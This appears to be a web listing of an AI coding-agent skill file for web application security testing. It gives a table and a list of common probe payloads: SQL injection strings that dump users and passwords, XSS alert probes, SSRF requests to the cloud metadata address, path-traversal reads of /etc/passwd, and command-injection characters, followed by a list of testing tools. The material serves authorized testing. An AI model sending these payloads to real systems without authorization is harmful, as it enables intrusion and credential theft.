.cursor/skills/web-security-expert/SKILL.md
Web application security expert. OWASP Top 10, XSS, SQLi, CSRF, SSRF, authentication bypass, IDOR. Use for web app security testing.
npx skillsauth add ripgraphics/authorsinfo web-security-expertInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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| Vuln | Test | Payload Example |
|------|------|-----------------|
| SQLi | ', ", 1 OR 1=1 | ' UNION SELECT null,username,password FROM users-- |
| XSS | <script>, event handlers | <img src=x onerror=alert(1)> |
| SSRF | Internal URLs | http://127.0.0.1, http://169.254.169.254 |
| IDOR | Change IDs | /api/user/123 → /api/user/124 |
| LFI | Path traversal | ../../../etc/passwd |
| RCE | Command chars | ; id, | whoami, `id` |
# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--
# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/
# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
| Purpose | Tool | |---------|------| | Proxy | Burp Suite, OWASP ZAP | | SQLi | sqlmap | | XSS | XSStrike, dalfox | | Fuzzing | ffuf, wfuzz |
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